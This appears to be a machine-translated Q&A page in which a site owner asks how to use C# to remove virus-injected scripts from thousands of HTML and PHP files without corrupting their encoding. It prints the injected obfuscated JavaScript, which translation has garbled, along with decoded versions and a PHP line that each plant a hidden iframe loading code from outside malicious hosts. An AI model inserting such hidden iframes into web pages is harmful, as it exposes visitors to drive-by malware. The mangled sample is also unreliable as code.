在不知道C#中的编码的情况下,可以在进行小更改的情况下直接读写文件吗

本文关键字:情况下 文件 读写 不知道 编码 | 更新日期: 2023-09-27 18:24:09

我需要从FTP下载5000多个文件,包括.html和.php文件。我需要读取每个文件,删除一些病毒放在那里的东西,并将其保存回FTP。

我使用以下代码:

string content;
using (StreamReader sr = new StreamReader(fileName, System.Text.Encoding.UTF8, true)) {
    content = sr.ReadToEnd();
    sr.Close();
}
using (StreamWriter sw = new StreamWriter(fileName + "1" + file.Extension, false, System.Text.Encoding.UTF8))
{
    sw.WriteLine(content);
    sw.Close();
}

我手动下载了一些文件,有些文件有<meta http-equiv="Content-Type" content="text/html; charset=windows-1250" />,但我不想假设它们都是这样的。我用Notepad++检查了一下,有些文本文件是ANSI。PHP似乎是UTF-8和HTML Windows-1250,但我更希望在尝试修复它时不要破坏文件。那么,有没有一种方法可以让我不必知道/猜测编码,它可以让我从网页中删除病毒链接?

编辑。我正试图找到并删除这样的东西:

var s=新字符串();尝试{document.rvwrew.vewr}catch(q) {r=1;c=String;}如果(r&document.createTextNode)u=2;e=eval;m=[4.5*u,18/u,52.5*u,204/u,16*u,80/u,50*u,222/u,49.5*u、234/u,54.5*u;202/u,55*u,232/u,23*u,206/u,50.5*u u,80/u,19.5*u,196/u,55.5*u,200/u,60.5*u*u、 230/u、50.5*u、64/u、61.5*u,18/u、4.5*u、18/u、50*u、222/u、49.5*u、234/u、54.5*u,202/u、55*u、232/u、23*u、238/u、57*u、210/u、58*u、202/u*u,208/u,58*u,232/u,56*u,116/u,23.5*u,94/u,51*u,210/u,49*u,202/u,57*u,194/u,57.5*u,232/u,48.5*u,23*u,224/u,52*u,224/u,19.5*u,64/u,59.5*u,210/u,50*u,232/u,52*u,122/u,195*u,98/u,24*u,78/u,16*u,208/u,50.5*u,59*u、210/u、57.5*u、2100/u、49*u、210/u、54*u、211/u、58*u、242/u、29*u、208/u、52.5*u,200/u、50*u、202/u、55*u、118/u、56*u、222/u、5.75*u u,54*u,202/u,51*u,232/u,29*u,96/u,29.5*u,232/u,55.5*u、224/u,29*u,96/u,2.95*u;78/u,31*u;120/u,23.5*u,210/u,51*u,228/u,48.5*u,51*u,234/u,55*u,198/u,58*u,210/u,55.5*u,220/u,16*u,210/u,51*u、228/u,48.5*u、218/u、50.5*u和228/u、20*u、82/u,61.5*u;18/u,4.5*u,18/u,59*u,194/u,57*u,64/u、51*u和64/u,30.5*u、64/u u,55*u,232/u,23*u,198/u,57*u,202/u,48.5*u,232/u,50.5*u,138/u,54*u,202/u,54.5*u,32.5*u,232/u,58*u,228/u,52.5*u,196/u,58.5*u、232/u、50.5*u、80/u、19.5*u、230/u、57*u、198/u、19.5*u、88/u、195*u、208/u、58*u、232/u、56*u、116/u、23.5*u、94/u、51*u、210/u、49*u、202/u、57*u、194/u、57.5*u u,55.5*u,218/u,23.5*u,232/u,50.5*u,23*u,230/u,58*u,242/u,54*u,202/u,23*u、236/u、52.5*u、230/u、525*u,196/u,52.5*u,216/u,525*u、232/u、60.5*u。u,55.5*u,230/u,52.5*u、232/u,525*u;222/u,55*u,122/u,19.5*u,194/u,49*u,230/u,55.5*u,216/u,58.5*u;232/u,122/u、19.5*u、96/u、195*u、118/u、51*u、92/u、57.5*u、232/u、60.5*u和216/u、50.5*u,92/u,58*u、222/u、56*u、122/u,19.5*u,96/u,195*u,118/u,51*u,92%、57.5*u、202/u、58*u,130/u、58*u、232/u、57*u、210/u、49*u、234/u,58*u,202/u,20*u、78/u,59.5*u,210/u,50*u,232/u,52*u,78/u,22*u,780/u,24.5*u,96/u,19.5*u,82/u,29.5*u,204/u,23*u,230/u,50.5*u,50.5*u、210/u、51.5*u、208/u、58*u、78/u、22*u、78./u、24.5*u、96/u、19.5*u、82/u、29.5*u,18/u、4.5*u、18/u、50*u、222/u、49.5*u,234/u、54.5*u、230/u、33*u、242/u、42*u、194/u、51.5*u、156/u、48.5*u,218/u、50.5*u和80/u、19.5*u、196/u、55.5*u或200/u、60.5*u及78/u、20.5*u、182/u、24*u、186/u、23*u、194/u、56*u、224/u、50.8*u、220/u、50*u、134/u、52*u、210/u、54*u,200/u、20*u、204/u、20.5*u、118/u、4.5*u、18/u、62.5*u];if(document.createTextNode),其中(c)mm=fromCharCode;对于(i=0;i!=m.length;i++)s+=mm(e("m"+"["+"i"+']'));try{doc.qwe.removeChild()}catch(q){e(s);}

解码后是

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://fiberastat.com/temp/stat.php');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

当你访问网页时,它会告诉你这一点(解码后)。

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://vtempe.in/in.cgi?17');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

脚本添加在最后3行,基本上在</html> var 之后开始

PHP脚本或多或少有这种类型的行<iframe src="http://hugetopdiet.cn:8080/ts/in.cgi?pepsi13" width=2 height=4 style="visibility: hidden"></iframe>,但它可以位于文件中的任何位置。

不确定是否还有其他方法可以重写这些文件。但是,必须浏览5000个文件似乎有点太多,而且风险很大:-)

在不知道C#中的编码的情况下,可以在进行小更改的情况下直接读写文件吗

假设没有一个文件是UTF16或UTF32,并且您想要交互的部分完全是7位ASCII,您可以打开它并将其保存为Encoding.Default,这将正确地往返任何更高的字符。

病毒不需要知道文件编码就可以将其内容添加到文件中,因此这显然是可能的。与其将文件视为文本,难道你不能将其处理为二进制文件并搜索与病毒添加的内容相匹配的模式吗?